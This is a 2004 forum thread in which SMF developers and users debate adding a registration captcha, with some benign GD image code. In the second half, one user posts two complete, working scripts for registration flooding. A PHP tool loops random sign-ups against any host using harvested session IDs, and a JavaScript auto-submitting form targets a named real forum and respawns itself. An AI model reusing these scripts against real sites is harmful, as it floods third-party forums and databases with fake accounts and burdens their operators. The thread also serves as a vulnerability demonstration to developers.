News:

Wondering if this will always be free?  See why free is better.

Main Menu

[captcha] Registration Security code

Started by Aquilo, March 26, 2004, 09:15:14 AM

Previous topic - Next topic

Aquilo

I was just wondering if this was too hard in general and will cause more problem?
I like the font but was wondering if I should change it?

you don't have to register if you want to test it just enter the code and check agree and if it's right it will tell you to go back and enter a username!
http://www.xtram.net/smf/index.php?action=register

also would any one be interested in this?

[Unknown]

There are some people who really seem to want to get this implemented in SMF, and it was even put into the cvs without warning once - but that code didn't even remotely work for me, and effectively disabled registration.

SMF has registration spamming protection, although not automatic registration prevention. (the only thing captchas do foir you over what SMF does.)  I think this is good enough for the core release, because it works for everyone, not just some people.

-[Unknown]

Aquilo

what would you suggest, I mean I agree the image is hard to read because the O's like like 0's except the 0's stand upright without distortion and many other letters are way to distorted, but what would be needed other then a more distinct font and another type of distortion a computer wouldn't break? I understand this is extremely hard to read now and I'm open to suggestions to get it more user friendly, and I do like the spam protection in place now and I used it in the UserBook mod.

[Unknown]

When I say it didn't work for me, I mean that I got X's for images.  This is partially because I do NOT have the gd library - and it should not be a requirement for SMF.

The captcha I see is... somewhat hard to read, yes.  I would recommend using ONLY letters, and putting a note that ALL characters are in fact letters.  Also I hope you ignore case ;).

-[Unknown]

Aquilo

I mean this as a mod not possible inclusion with SMF so someone looking to use this would have to have GD I even have to look up a work-a-round to get GD to load the fonts since I don't know what to do to get freetype and zlib on my PC so even testing was difficult. you think all letters are better or numbers, I guess letters since there are more. and I do ignore case I use strtoupper so anything can be used.

Grudge

It was me who did the dishonorable thing of adding it to CVS :P However, if was an option that could have been disabled for those without GD installed :D

Anyway - I'll package the code changes into a mod if anyone would find it useful - if you want to do it Aquilo here is the code I used to generate the images:

// Create Human Verification Image.
function VerificationImage()
{
global $modSettings;

$context['template_layers'] = array();

// Can't be called from elsewhere
if (!isset($_REQUEST['sa']) || empty($modSettings['requireRegistrationVerification']))
exit;

// The text to create.
$randomText = $_SESSION['reg_randomText'];

// The image that we will be using as the "verification image"
$verImg = imagecreate(200, 40);

// Background colour - dark blue - nice!
imagecolorallocate($verImg, 11, 30 , 91);

// Define white!
$white = imagecolorallocate($verImg, 255, 255, 255);

// Give it a pretty background.
imagerectangle($verImg, 2, 2, 197, 37, $white);

// Draw the text.
for ($i = 0; $i < 8; $i++)
if (isset($randomText[$i]))
imagechar($verImg, rand (2, 10), 20 * $i + 20, 10 + rand(0, 4), $randomText[$i], $white);

// output image in the browser
header("Content-type: image/png");
imagepng($verImg);

// free memory
imagedestroy($verImg);

obExit(false);
}
Where $_SESSION['reg_randomText'] is set in the Register function to whatever you want the code to be (no more than 8 letters). There's a little more code than this but this is most of it

I'm only a half geek really...

David

What I would really like to see is someone take the time to write a captcha class for PHP.  Then it can be integrated into different PHP apps.  Should also support audio captcha's for those who are visually impaired.
This space for rent.

Aquilo

http://www.phpclasses.org/browse/package/1163.html

how would you make a captcha for the visually impaired? are there any visually impaired users here?
I have worked with that voice engine in html before, I was even going to mess around with making it part of YaBB SE but these things are specialized for the forum/site using them.

but how would you do that? A computer could easily interpret audio better then a OCR program with an image, honestly the only distortion you need to mess an OCR up is a jpeg with minor articles around he text and it's messed up!

David

You distort the audio, add reverb, echo, etc.
This space for rent.

Aquilo

php can edit(alter/merge) wav or mp3 files??

Falcon4™

#10
How did such an essential feature as this get overlooked? Spammers can just romp onto a forum, set up a simple JavaScript on their computer, and fire off new registrations 100 at a time! Without image verification, they don't even need a valid session ID! I had set up a PHP script to demonstrate this, but that one actually requested a session ID for each one - at the same time, a friend of mine made one in JavaScript that just did it by itself, using the CURRENT session ID hundreds of times!

I like this "[captcha]" thing, that is pretty sleek. But doesn't that require space in the MySQL DB? I made a very simple, though not-as-secure setup that uses ROT13 on the random letters so the client never gets the actual code, except in image. There's a post on my forum [nofollow] with the tweaks to set up this simple mod.


^ sample output

But seriously, why was such a plainly essential feature overlooked?

[Unknown]

It should actually block this... without inconveniencing the user!  What a thought!  Why would you ever not want to inconvenience someone you want to register?

Go and try it.  Register me a thousand accounts on an SMF forum.  If you get through, I'll add more protections, but this (captchas, images, inconveniences) is not by far something that is needed.

Quote from: [Unknown] on March 27, 2004, 12:01:25 AM
There are some people who really seem to want to get this implemented in SMF, and it was even put into the cvs without warning once - but that code didn't even remotely work for me, and effectively disabled registration.

SMF has registration spamming protection, although not automatic registration prevention. (the only thing captchas do foir you over what SMF does.) I think this is good enough for the core release, because it works for everyone, not just some people.

-[Unknown]

This was "overlooked" because it can cause problems on some configurations of PHP and shipping a forum that you can't even register on is pretty lame, wouldn't you say?

-[Unknown]

Falcon4™

#12
Been there, exploited that. I already said it was done, would I SAY it was done if it wasn't?

<?php
if (isset($_GET['numtimes']) && isset($_GET['url']) && isset($_GET['host'])) {
$max $_GET['numtimes'];
$path $_GET['url'];
$port 80;
$i 0;
$host $_GET['host'];
function get_phpsessid(){
$path $_GET['url']; // URL to f*ck :)
$port 80// duh
$host $_GET['host']; // Host
$fp fsockopen($host,$port); // Open connection
$request 'GET / HTTP/1.1'.chr(0x0D).chr(0x0A).
'Host: '.$host.chr(0x0d).chr(0x0a).
'Accept: */*'.chr(0x0d).chr(0x0a).
'Connection: close'.chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a);
fputs($fp,$request);
// fputs($fp,'Connection: close\r\n\r\n');
while(!isset($needle)) {
$****** = fgets($fp,1024); // get 1k of ******
$one explode(chr(0x0D).chr(0x0A),$******); // explode ****** into array of lines
foreach ($one as $input) {
if (strstr($input,'Set-Cookie:')) {
$needle $input// do we see the set-cookie? set that as needle.
fclose($fp); // not wasting bandwidth ;)
}
}
}
return(substr(strstr($needle,'='),1,32)); // give back what we found as the result of the function.
}
for($i;$i<=$max;$i++) { // is $i? yes? then is i <= max? yes? then make i one bigger.
$pass chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)); // random password, lower a~z, 5 letters
$formdata = array ( "user" => chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).'fsnet'"email" => chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).'@'.chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).'falcpwnedu.com''passwrd1' => $pass'passwrd2' => $pass"regagree" => "yes" );
//build the post string
$poststring ""// else, error
foreach($formdata AS $key => $val){ // parse the array into... well, i guess i could've done without this and just jumped straight into &var=val...
   $poststring .= urlencode($key) . "=" urlencode($val) . "&";
 }
$poststring substr($poststring0, -1); // strip off trailing ampersand
$fp fsockopen($host$port); // open the connection
$phpsessid get_phpsessid(); // run the new function to request the index page and steal the phpsessid
echo 'Using PHPSESSID '.$phpsessid.'<br>'// verbosity = teh pwn
$request 'POST '.$path.'&PHPSESSID='.$phpsessid.' HTTP/1.1'.chr(0x0D).chr(0x0A).
'Host: '.$host.chr(0x0D).chr(0x0A).
'Content-type: application/x-www-form-urlencoded'.chr(0x0D).chr(0x0A).
'Content-length: '.strlen($poststring).chr(0x0D).chr(0x0A).
'Connection: close'.chr(0x0D).chr(0x0A).chr(0x0D).chr(0x0A).
$poststring.chr(0x0D).chr(0x0A).chr(0x0D).chr(0x0A); // the request, PHP seems to send a bad newline so i have to use 0d/0a
echo 'Sending:<br>'.nl2br($request).'<br>'// more verbosity
fputs($fp,$request); // send it
 //loop through the response from the server
 
while(!isset($stop)) {
   $food fgets($fp,4096); // food for thought
   echo $food// screen clutter: "accepted", "awaiting email"... "banned"?
   if (strstr($food,'Topics by')) $stop 'YES FFS!'// stop at the sound of the "member count increase".
 
}
 echo 
'</table></table></table></body></html>'// TRYIN to clean up the screen after a partial load...
 
unset($stop); // so it at least sends something next time
 
fclose($fp); // no guess, no mess.
sleep(5); // get past teh "YOU JSUT REGISTERED 5 SECOND AGAO!!!!11111oneone" error.

echo '<br><br>Count '.$i.' of '.$max.'...<br><br>'// more verbosity.
}
} else {
$html '<html><body>Hello SMF hole! :)<br><br>
<form method="GET" action="'
.$_SERVER['PHP_SELF'].'">
Number of random new user regs to run: <input type="text" name="numtimes" size="10"><br>
HOST name (no http, no trailing slash): <input type="text" name="host" size="50"><br>
Remainder of URL (path, including &quot?action=&quot): <input type="text" name="url" size="50"><br>
<input type="submit" value="******!"></body></html>'
;
echo $html;
}
// Tag below was put in JUST FOR BLACKBIRD, ya crazy b*stard. :P
?>

By the way, this is the "long version" that I wrote (me not knowing JavaScript, and only having about 1 month experience in PHP). I'll have to dig up the much shorter and less complicated JavaScript one. That one just submits random entries in the form (input type="hidden" name="username" id="user", then document.form.user.value=random) every 5 seconds. The newer version of it opens up about 10 frames of itself and creates 120 registrations a minute. More frames? More users.

Have to wait til tomorrow to get the code for that gem, though.

Grudge

Heh. Maybe we should raise the spam timeout on register to 60 seconds, that would probably surfice in most cases.
I'm only a half geek really...

Falcon4™

Can't you, like, raise a little flag on the specific session ID that says "Hey, this newbie already registered"? My little PHP script may retrieve a new session ID each time (by grabbing /index.php without sending a cookie in), but it's SLOW! The JavaScript one (it's not tomorrow yet, sorry) relies on the browser, which just keeps telling it the same session ID over and over... of course, there are other ways to go about it.

Not to raise competition here (hmm...), but Invision has done the enter-the-number verification thing for a while now... without the GD library! I think they do it by storing the binary data for the graphics in the PHP source itself (not THAT hard to do, just URLEncode/decode it), but I may be wrong. Maybe you should look into how they do it...?

Grudge

I did originally write the image verification that Unknown talks about and I actually have it coded (and 90% working) but there are probably better ways than using it and I can't see us ever adding it to the distro - although I may offer it as a MOD. At the end of the day, mass registration on a forum isn't that big a deal. If someone tries it, they can only do it once as you'll quickly delete all the accounts and ban their IP.

SMF checks the IP address of the user and logs it, and it is this that is uses to stop mass registration. It's just as useful going by the IP address as going by the session ID as neither will change in your javascript method.
I'm only a half geek really...

Falcon4™

It's not really that big a deal, but it does get to be a concern on little kid's servers in their closets, when someone gets pissed at them, that they can fill their MySQL DB up with thousands of new users. I'd always thought it wasn't a big deal, and wondered why people did those verification things, until it happened to my server :P

Sure doesn't seem like it logs their IP at all, 'cuz even with me being logged in (!), I can STILL register. Just tried it on this forum, though, and it dumps me at the index page. I guess you fixed that here :)

Both of our scripts ran from the same IP (though the JS one was distributed among clients), and worked fine...

Here's the JS one (happy scrolling!):
<head>
<script language="javascript">

function userValues() {
var firstLetter
var number1 = Math.random()*10
var number2 = Math.random()
var number3 = number1 * number2
var number4 = number3 * 2.5
var letter1 = new Array ("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var finalNumber = Math.round(number4)
firstLetter= letter1[finalNumber]

var secondLetter
var number1 = Math.random()*10
var number2 = Math.random()
var number3 = number1 * number2
var number4 = number3 * 2.5
var letter2 = new Array ("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var finalNumber = Math.round(number4)
secondLetter=firstLetter + letter2[finalNumber]


var thirdLetter
var number1 = Math.random()*10
var number2 = Math.random()
var number3 = number1 * number2
var number4 = number3 * 2.5
var letter3 = new Array ("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var finalNumber = Math.round(number4)
thirdLetter=secondLetter + letter3[finalNumber]

var fourthLetter
var number1 = Math.random()*10
var number2 = Math.random()
var number3 = number1 * number2
var number4 = number3 * 2.5
var letter4 = new Array ("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var finalNumber = Math.round(number4)
fourthLetter=thirdLetter + letter4[finalNumber]

var fifthLetter
var number1 = Math.random()*10
var number2 = Math.random()
var number3 = number1 * number2
var number4 = number3 * 2.5
var letter5 = new Array ("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var finalNumber = Math.round(number4)
fifthLetter=fourthLetter + letter5[finalNumber]


var sixthLetter
var number1 = Math.random()*10
var number2 = Math.random()
var number3 = number1 * number2
var number4 = number3 * 2.5
var letter6 = new Array ("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var finalNumber = Math.round(number4)
sixthLetter=fifthLetter + letter6[finalNumber]

document.reg.regagree.value="yes"
document.reg.user.value=sixthLetter
document.reg.passwrd1.value=sixthLetter
document.reg.passwrd2.value=sixthLetter
document.reg.email.value=sixthLetter + "@" + sixthLetter + ".net"
document.reg.submit()
window.open("http://members.lycos.co.uk/moobbmoo/reg.html")

}
function timeIt() {
setTimeout("userValues()",5000);
}
timeIt()

</script>
</head>
<body>
<form action="http://forum.caservers.net/index.php?action=register2" method="post" name="reg">
<input type="hidden" name="regagree"><br>
<input type="hidden" name="user"><br>
<input type="hidden" name="passwrd1"><br>
<input type="hidden" name="passwrd2"><br>
<input type="hidden" name="email"><br>
</form>
</body>

[Unknown]

#17
Quote from: Falcon4™ on August 11, 2004, 09:00:21 AM
Not to raise competition here (hmm...), but Invision has done the enter-the-number verification thing for a while now... without the GD library! I think they do it by storing the binary data for the graphics in the PHP source itself (not THAT hard to do, just URLEncode/decode it), but I may be wrong. Maybe you should look into how they do it...?

And frankly, I don't care.  Again, I am not at all even partially interested in that way of doing it.

Quote from: Falcon4™ on August 11, 2004, 05:46:37 PM
It's not really that big a deal, but it does get to be a concern on little kid's servers in their closets, when someone gets pissed at them, that they can fill their MySQL DB up with thousands of new users. I'd always thought it wasn't a big deal, and wondered why people did those verification things, until it happened to my server :P

Sure doesn't seem like it logs their IP at all, 'cuz even with me being logged in (!), I can STILL register. Just tried it on this forum, though, and it dumps me at the index page. I guess you fixed that here :)

I can only assume from that that you are using an older version of SMF.  Older versions may not include the same security protections as newer ones..... obviously.

-[Unknown]

Falcon4™

Must be hot development if a version that's maybe 3 weeks old is "outdated"... >:(

[Unknown]

Quote from: Falcon4™ on August 11, 2004, 11:43:26 PM
Must be hot development if a version that's maybe 3 weeks old is "outdated"... >:(

Umm.... yes, that is rather outdated.  You are not a charter member.  Consider the date on which that release was made.... April 26th!

That's months ago.  Even if development were slow as molasses something had to have been done to the code since then...

-[Unknown]

Advertisement: